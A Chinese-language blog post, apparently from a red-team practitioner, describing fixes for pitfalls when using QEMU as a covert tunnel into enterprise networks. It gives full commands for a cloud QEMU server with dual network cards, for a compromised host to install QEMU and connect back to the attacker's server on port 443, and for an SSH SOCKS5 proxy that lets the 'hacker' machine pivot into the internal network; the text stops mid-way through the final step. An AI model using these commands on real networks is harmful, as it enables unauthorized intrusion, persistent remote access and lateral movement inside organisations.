前言
阅读
https://xz.aliyun.com/t/14052 《使用 QEMU 进行内网穿透?》
https://securelist.com/network-tunneling-with-qemu/111803/ 《Network tunneling with… QEMU?》
我将此项技术应用到实战中,取得不错的效果,但是也遇到很多坑,此篇文章也是一篇排坑的文章
原文章
下面是原文章的拓扑图
坑一
坑
原文章中,使用linux 服务器启动qemu 服务端,并且在上面启动监听端口,但是在实际使用中,需要在云上或者vps上搭建服务器环境,云上提供的linux主机一般都没有desk环境,所以qemu在启动的时候会常常报 gtk initialization failed 虽然在启动qemu时加上 --nographic 就可以正常启动,但是linux 终端就会陷入全黑的状态,连光标都消失了。
解决方法
在云上购买windows主机,我买的主机是 Windows Server 2019 数据中心版 64位 中文版
然后根据qemu 官方文档(https://www.qemu.org/download/ ),需要下载和安装 MSYS2 下载地址:https://github.com/msys2/msys2-installer/releases/download/2024-05-07/msys2-x86_64-20240507.exe
安装好之后在UCRT64中执行下面的命令:
pacman -S mingw-w64-ucrt-x86_64-qemu
就安装好qeme了,之后下载 kali-linux-2023.4-live-amd64.iso 放在 C:\msys64\home\Administrator 目录下
坑二
坑
原文章使用的拓扑中,服务器启动的qemu只使用一张网卡,被控主机反连此网卡走的所有流量都是被控主机的流量,并且由于在云主机上启动qemu,云主机上默认不开kvm,所以启动的qemu不能使用 enable-kvm 加速虚拟机,所以导致启动的虚拟机会特别卡顿,卡顿到无法流畅使用的地步。
解决方法
需要修改原文的拓扑
上图最关键的是在云主机里面的qemu里面设置双网卡,并且这两个网卡的mac地址要设置为不同的mac地址,不然就会出现mac地址冲突,造成只有一个网卡能正常使用的情况。要给qemu设置双网卡,参考 https://blog.csdn.net/pawpaw77/article/details/130793008 。
-
首先要给windows 服务器安装虚拟网卡 先下载tap-window6(https://github.com/OpenVPN/tap-windows6/releases/download/9.26.0/dist.win7.zip) 之后cmd进入AMD64目录(64位系统),执行命令tapinstall install OemVista.inf tap0901,然后Win+R 运行 hdwwiz,添加网络适配器。最后把新建的网卡命名为 tap0。最后给新创建的网卡设置ip地址为192.168.137.1 掩码为255.255.255.0。https://blog.csdn.net/pawpaw77/article/details/130793008 这个文章中在后续需要创建网桥,本人经过多次实验之后,发现完全不需要在windows主机上搭建网桥。
-
使用如下命令创建qemu虚拟机:
qemu-system-x86_64 -boot d -cdrom kali-linux-2023.4-live-amd64.iso -accel tcg -m 24576 -netdev tap,id=tapnet,ifname=tap0,script=no -device e1000,netdev=tapnet,mac=52:54:00:12:34:57 -device e1000,netdev=n1,mac=52:54:00:12:34:56 -smp 4 -netdev socket,id=n1,listen=:443 // 解决网卡是同mac地址问题 ok
创建好之后,进入qemu虚拟机后配置,
ifconfig eth0 192.168.137.2 netmask 255.255.255.0
- 在被控主机上执行如下指令就可以让被控主机和云上的qemu服务器组成一个私有局域网,当被控主机qemu连接到云上的qemu服务器后qume服务器上另一张网卡上就会自动被分配一个ip地址。这样云上的qemu虚拟机就可以无限制的访问到企业内网:
apt update
apt-get install -y qemu-system
qemu-system-x86_64 -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=1.1.1.1:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic
注意,这个命令只能在ubuntu上执行,我尝试在centos上执行,失败了,我在项目中没有那么多时间去研究到底是怎么回事,未来有时间再继续研究一下。
4. 在windows 使用 ssh -D 0.0.0.0:1080 root@192.168.137.2 搭建一条连接到qemu的socks5的代理通道,ssh 监听到0.0.0.0 就可以让hacker主机直接使用windows 主机作为跳板连接到企业内网
5. 黑客在自己的pc机器上做如下设置,就可以直接连接到企业内网了